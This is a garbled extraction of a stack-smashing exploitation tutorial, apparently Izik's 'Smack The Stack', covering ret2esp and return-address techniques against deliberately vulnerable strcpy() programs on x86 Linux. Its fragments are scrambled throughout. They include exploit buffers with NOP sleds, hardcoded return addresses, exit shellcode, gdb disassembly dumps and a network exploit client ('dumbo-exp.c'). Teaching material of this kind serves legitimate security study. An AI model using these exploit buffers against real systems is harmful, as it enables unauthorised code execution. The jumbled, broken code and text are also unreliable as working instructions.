Smack The Stack
Smack The Stack
rward jumps to the next one. The last RET will jump to
the potential return address and will lead to the shellcode.
--- snip snip --/*
* vuln.c, Classical strcpy() buffer overflow
*/
#include
#include
#include
#include
<stdio.h>
<stdlib.h>
<unistd.h>
<string.h>
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0"
//
// xorl %eax, %e
"\x31\xdb"
// xorl %ebx, %e
"\x40"
"\xcd\x80"
// incl %eax
// int $0x80
//
ax
bx
"\xb7\x83\x04\x08"
0x080483b7 <main+51>:
//
// RET ADDRESS /
ret
//
"\xb7\x83\x04\x08"
"\xb7\x83\x04\x08"
"\xb7\x83\x04\x08"
"\xb7\x83\x04\x08"
"\xb7\x83\x04\x08";
//
//
// RET's x 5
//
//
mov
test
je
$0x0,%eax
%eax,%eax
0x8048380 <frame_
0x08048368 <frame_dummy+24>:
0x0804836b <frame_dummy+27>:
0x08048370 <frame_dummy+32>:
0x08048375 <frame_dummy+37>:
0x08048378 <frame_dummy+40>:
0x08048379 <frame_dummy+41>:
0x08048380 <frame_dummy+48>:
0x08048382 <frame_dummy+50>:
0x08048383 <frame_dummy+51>:
End of assembler dump.
(gdb)
sub
push
call
add
nop
lea
mov
pop
ret
$0xc,%esp
$0x8049508
0x0
$0x10,%esp
dummy+48>
0x0(%esi),%esi
%ebp,%esp
%ebp
mov
pop
%ebp,%esp
%ebp
0x08048383 <frame_dummy+51>:
ret
//
// xorl %eax, %e
"\x31\xdb"
// xorl %ebx, %e
"\x40"
"\xcd\x80"
// incl %eax
// int $0x80
//
ax
bx
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90"
"\x82\x83\x04\x08";
//
// RET ADDRESS
//
//
0x080483
82 <frame_dummy+50>:
pop
83 <frame_dummy+51>:
ret
%ebp
//
0x080483
//
int main(int argc, char **argv, char **envp) {
char *args[] = { "vuln" , evilbuf , NULL };
return execve("vuln", args, envp);
}
--- snip snip --Snooping around the CRT functions, another powerful combination
can be found inside the '__do_global_ctors_aux' implementation
0x080484cc
0x080484cd
0x080484ce
0x080484cf
<__do_global_ctors_aux+44>:
<__do_global_ctors_aux+45>:
<__do_global_ctors_aux+46>:
<__do_global_ctors_aux+47>:
pop
pop
pop
ret
%eax
%ebx
%ebp
<__do_global_ctors_aux+0>:
<__do_global_ctors_aux+1>:
<__do_global_ctors_aux+3>:
<__do_global_ctors_aux+4>:
<__do_global_ctors_aux+5>:
push
mov
push
push
mov
%ebp
%esp,%ebp
%ebx
%edx
0x80494f8
,%eax
0x080484aa <__do_global_ctors_aux+10>: cmp
$0xffffff
$0x80494f
ff,%eax
8,%ebx
0x080484b2 <__do_global_ctors_aux+18>:
<__do_global_ctors_aux+44>
0x080484b4 <__do_global_ctors_aux+20>:
,%esi
0x080484ba <__do_global_ctors_aux+26>:
,%edi
0x080484c0 <__do_global_ctors_aux+32>:
0x080484c3 <__do_global_ctors_aux+35>:
0x080484c5 <__do_global_ctors_aux+37>:
ax
0x080484c7 <__do_global_ctors_aux+39>:
ff,%eax
0x080484ca <__do_global_ctors_aux+42>:
<__do_global_ctors_aux+32>
0x080484cc <__do_global_ctors_aux+44>:
0x080484cd <__do_global_ctors_aux+45>:
0x080484ce <__do_global_ctors_aux+46>:
0x080484cf <__do_global_ctors_aux+47>:
End of assembler dump.
(gdb)
je
0x80484cc
lea
0x0(%esi)
lea
0x0(%edi)
sub
call
mov
$0x4,%ebx
*%eax
(%ebx),%e
cmp
$0xffffff
jne
0x80484c0
pop
pop
pop
ret
%eax
%ebx
%ebp
//
// xorl %eax, %e
"\x31\xdb"
// xorl %ebx, %e
"\x40"
"\xcd\x80"
// incl %eax
// int $0x80
//
ax
bx
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90"
"\xc3\x84\x04\x08";
0x080484c3 <__do_global_ctors_aux+35>: call *%eax
//
// RET ADDRESS /
//
/*
* vuln.c, Unique strcpy() buffer overflow
*/
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
int j = 58623;
char buf[256];
strcpy(buf, argv[1]);
return 1;
}
--- snip snip --Starting with disassembling it
(gdb) disassemble main
Dump of assembler code
0x08048384 <main+0>:
0x08048385 <main+1>:
0x08048387 <main+3>:
0x0804838d <main+9>:
0x08048390 <main+12>:
0x08048395 <main+17>:
0x08048397 <main+19>:
0x0804839e <main+26>:
0x080483a1 <main+29>:
0x080483a4 <main+32>:
0x080483a7 <main+35>:
0x080483a9 <main+37>:
0x080483af <main+43>:
0x080483b0 <main+44>:
0x080483b5 <main+49>:
0x080483b8 <main+52>:
0x080483b9 <main+53>:
0x080483ba <main+54>:
0x080483bb <main+55>:
0x080483bc <main+56>:
0x080483bd <main+57>:
0x080483be <main+58>:
0x080483bf <main+59>:
End of assembler dump.
0x00
0xc7
0x45
0xf4
0xff
0x00
(gdb)
jmp
*%esp
Beauty is in the eye of the beholder, and in this case the x86 C
PU ;-)
--- snip snip --/*
* exploit.c, Exploits vuln.c (RET2ESP)
*/
#include <stdio.h>
#include <unistd.h>
char evilbuf[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90"
0x804839a <main+22>:
jmp
"\x9a\x83\x04\x08"
*%esp
//
// RET ADDRESS /
//
"\x31\xc0"
//
// xorl %eax, %e
"\x31\xdb"
// xorl %ebx, %e
"\x40"
"\xcd\x80";
// incl %eax
// int $0x80
//
ax
bx
<sys/types.h>
<stdio.h>
<stdlib.h>
<unistd.h>
<sys/socket.h>
<netinet/in.h>
0x8048454 <_init+184>
Shooting it down
root@magicbox:/tmp# perl -e 'print "A" x 320' | nc localhost 313
38
Going back to the debugger, to check on 'buf' pointer
Breakpoint 1, 0x08048677 in main ()
(gdb) x/a $esp+4
0xbffff694:
0xbffff6b0
(gdb)
Now it comes down to a simple math
0xbffff860 0xbffff6b0
---------432 bytes
So by subtracting the stack start address from the buf pointer, we got t
he ratio between the two.
Now, using this data, an exploit can generate a perfect return address.
--- snip snip --/*
* dumbo-exp.c, Exploits 'dumbo.c'
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
<sys/types.h>
<stdio.h>
<unistd.h>
<stdlib.h>
<string.h>
<fcntl.h>
<netinet/in.h>
<sys/socket.h>
<arpa/inet.h>
char *shellcode =
"\x31\xc0"
"\x31\xdb"
"\x40"
"\xcd\x80";
//
//
//
//
perror("connect");
return 0;
}
printf("*** Dumbo is going down! (RET: 0x%08x) ***\n", b
adpkt.retaddr);
write(sock, (void *) &badpkt, sizeof(badpkt));
close(sock);
return 1;
}
--- snip snip --Contact
------Izik <[email protected]> [or] http://www.tty64.org